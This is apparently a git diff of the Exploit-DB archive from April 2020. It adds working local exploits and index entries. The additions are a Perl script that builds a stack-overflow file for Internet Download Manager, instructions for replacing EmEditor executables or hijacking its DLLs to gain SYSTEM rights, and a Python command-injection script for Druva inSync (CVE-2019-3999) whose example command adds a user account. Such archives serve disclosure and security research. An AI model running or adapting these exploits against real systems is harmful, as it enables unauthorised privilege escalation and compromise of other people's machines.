https://www.vulnerability-lab.com/download_content.php?id=1337
|
||||||
|
referer: https://www.vulnerability-lab.com/
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
PoC: Exploit
|
||||||
|
#!/usr/bin/perl
|
||||||
|
# Local Stack Buffer Overflow Exploit for Internet Download Manager
|
||||||
|
v6.37.11.1
|
||||||
|
# Vulnerability Laboratory - Benjamin Kunz Mejri
|
||||||
|
my $poc = "bof_poc.ef2" ;
|
||||||
|
print "[+] Producing bof_poc.ef2 ..." ;
|
||||||
|
my $buff0=" "."<" x 1;
|
||||||
|
my $buff1=" n https://"."A" x 1024;
|
||||||
|
my $buff2=" n Referer:"."A" x 1024;
|
||||||
|
my $buff3=" n User Agent:"."A" x 1024;
|
||||||
|
my $buff4=" n ".">" x 1;
|
||||||
|
open(ef2, ">>$poc") or die "Cannot open $poc";
|
||||||
|
print ef2 $buff0;
|
||||||
|
print ef2 $buff1;
|
||||||
|
print ef2 $buff2;
|
||||||
|
print ef2 $buff3;
|
||||||
|
print ef2 $buff4;
|
||||||
|
close(ef2);
|
||||||
|
print "n[+] done !";
|
||||||
|
|
||||||
|
|
||||||
|
Credits & Authors:
|
||||||
|
==================
|
||||||
|
Vulnerability-Lab -
|
||||||
|
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
||||||
|
Benjamin Kunz Mejri -
|
||||||
|
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
|
||||||
|
|
||||||
|
|
||||||
|
--
|
||||||
|
VULNERABILITY LABORATORY - RESEARCH TEAM
|
||||||
67
exploits/windows/local/48398.txt
Normal file
67
exploits/windows/local/48398.txt
Normal file
|
|
@ -0,0 +1,67 @@
|
||||||
|
# Exploit Title: EmEditor 19.8 - Insecure File Permissions
|
||||||
|
# Date: 2020-04-27
|
||||||
|
# Exploit Author: SajjadBnd
|
||||||
|
# Vendor Homepage: https://www.emeditor.com/
|
||||||
|
# Software Link: https://support.emeditor.com/en/downloads/suggested
|
||||||
|
# Version: 19.8
|
||||||
|
# Tested on: Win10 Professional x64
|
||||||
|
|
||||||
|
[ Description ]
|
||||||
|
|
||||||
|
EmEditor is a fast, lightweight, yet extensible, easy-to-use text editor for Windows.
|
||||||
|
Both native 64-bit and 32-bit builds are available, and moreover,
|
||||||
|
the 64-bit includes separate builds for SSE2 (128-bit), AVX-2 (256-bit),
|
||||||
|
and AVX-512 (512-bit) instruction sets.
|
||||||
|
|
||||||
|
[ PoC ]
|
||||||
|
|
||||||
|
C:\Users\user\AppData\Local\Programs\EmEditor
|
||||||
|
λ icacls *.exe
|
||||||
|
|
||||||
|
ee128.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
ee256.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
ee512.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
EEAdmin.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
eehlpver.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
eeupdate.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
emedhtml.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
EmEditor.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
emedtray.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
emedws.exe NT AUTHORITY\SYSTEM:(F)
|
||||||
|
BUILTIN\Administrators:(F)
|
||||||
|
DESKTOP-K4UDI4I\user:(F)
|
||||||
|
|
||||||
|
Successfully processed 10 files; Failed processing 0 files
|
||||||
|
|
||||||
|
[ Exploit - Privilege Escalation ]
|
||||||
|
|
||||||
|
Replace any *.exe files with any executable
|
||||||
|
malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)
|
||||||
|
- Also you can use DLL Hijacking technique(emonig.dll,emregexp.dll,emtoast.dll..) ;D
|
||||||
54
exploits/windows/local/48400.txt
Normal file
54
exploits/windows/local/48400.txt
Normal file
|
|
@ -0,0 +1,54 @@
|
||||||
|
# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
|
||||||
|
# Date: 2020-04-28
|
||||||
|
# Exploit Author: Chris Lyne
|
||||||
|
# Vendor Homepage: druva.com
|
||||||
|
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
|
||||||
|
# Version: 6.5.2
|
||||||
|
# Tested on: Windows 10
|
||||||
|
# CVE : CVE-2019-3999
|
||||||
|
# See also: https://www.tenable.com/security/research/tra-2020-12
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# Command injection in inSyncCPHwnet64 RPC service
|
||||||
|
# Runs as nt authority\system. so we have a local privilege escalation
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print "Usage: " + __file__ + " <quoted command to execute>"
|
||||||
|
print "E.g. " + __file__ + " \"net user /add tenable\""
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
ip = '127.0.0.1'
|
||||||
|
port = 6064
|
||||||
|
command_line = sys.argv[1]
|
||||||
|
|
||||||
|
# command gets passed to CreateProcessW
|
||||||
|
def make_wide(str):
|
||||||
|
new_str = ''
|
||||||
|
for c in str:
|
||||||
|
new_str += c
|
||||||
|
new_str += '\x00'
|
||||||
|
return new_str
|
||||||
|
|
||||||
|
hello = "inSync PHC RPCW[v0002]"
|
||||||
|
func_num = "\x05\x00\x00\x00" # 05 is to run a command
|
||||||
|
command_line = make_wide(command_line)
|
||||||
|
command_length = struct.pack('<i', len(command_line))
|
||||||
|
|
||||||
|
# send each request separately
|
||||||
|
requests = [ hello, func_num, command_length, command_line ]
|
||||||
|
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.connect((ip, port))
|
||||||
|
|
||||||
|
i = 1
|
||||||
|
for req in requests:
|
||||||
|
print 'Sending request' + str(i)
|
||||||
|
sock.send(req)
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
print "Done."
|
||||||
|
|
@ -11042,6 +11042,10 @@ id,file,description,date,author,type,platform,port
|
||||||
48387,exploits/macos/local/48387.txt,"Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution",2020-04-27,0xEmma,local,macos,
|
48387,exploits/macos/local/48387.txt,"Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution",2020-04-27,0xEmma,local,macos,
|
||||||
48388,exploits/windows/local/48388.rb,"Docker-Credential-Wincred.exe - Privilege Escalation (Metasploit)",2020-04-28,Metasploit,local,windows,
|
48388,exploits/windows/local/48388.rb,"Docker-Credential-Wincred.exe - Privilege Escalation (Metasploit)",2020-04-28,Metasploit,local,windows,
|
||||||
48391,exploits/windows/local/48391.txt,"NVIDIA Update Service Daemon 1.0.21 - 'nvUpdatusService' Unquoted Service Path",2020-04-28,"Roberto Piña",local,windows,
|
48391,exploits/windows/local/48391.txt,"NVIDIA Update Service Daemon 1.0.21 - 'nvUpdatusService' Unquoted Service Path",2020-04-28,"Roberto Piña",local,windows,
|
||||||
|
48396,exploits/windows/local/48396.txt,"Andrea ST Filters Service 1.0.64.7 - 'Andrea ST Filters Service ' Unquoted Service Path",2020-04-29,"Roberto Piña",local,windows,
|
||||||
|
48397,exploits/windows/local/48397.txt,"Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC)",2020-04-29,Vulnerability-Lab,local,windows,
|
||||||
|
48398,exploits/windows/local/48398.txt,"EmEditor 19.8 - Insecure File Permissions",2020-04-29,SajjadBnd,local,windows,
|
||||||
|
48400,exploits/windows/local/48400.txt,"Druva inSync Windows Client 6.5.2 - Local Privilege Escalation",2020-04-29,"Chris Lyne",local,windows,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
|
@ -42627,3 +42631,7 @@ id,file,description,date,author,type,platform,port
|
||||||
48386,exploits/php/webapps/48386.txt,"Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)",2020-04-27,Besim,webapps,php,
|
48386,exploits/php/webapps/48386.txt,"Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)",2020-04-27,Besim,webapps,php,
|
||||||
48390,exploits/php/webapps/48390.txt,"School ERP Pro 1.0 - 'es_messagesid' SQL Injection",2020-04-28,Besim,webapps,php,
|
48390,exploits/php/webapps/48390.txt,"School ERP Pro 1.0 - 'es_messagesid' SQL Injection",2020-04-28,Besim,webapps,php,
|
||||||
48392,exploits/php/webapps/48392.txt,"School ERP Pro 1.0 - Remote Code Execution",2020-04-28,Besim,webapps,php,
|
48392,exploits/php/webapps/48392.txt,"School ERP Pro 1.0 - Remote Code Execution",2020-04-28,Besim,webapps,php,
|
||||||
|
48393,exploits/php/webapps/48393.py,"Open-AudIT Professional 3.3.1 - Remote Code Execution",2020-04-29,Askar,webapps,php,
|
||||||
|
48394,exploits/php/webapps/48394.txt,"School ERP Pro 1.0 - Arbitrary File Read",2020-04-29,Besim,webapps,php,
|
||||||
|
48395,exploits/ios/webapps/48395.txt,"Easy Transfer 1.7 for iOS - Directory Traversal",2020-04-29,Vulnerability-Lab,webapps,ios,
|
||||||
|
48399,exploits/php/webapps/48399.txt,"hits script 1.0 - 'item_name' SQL Injection",2020-04-29,SajjadBnd,webapps,php,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue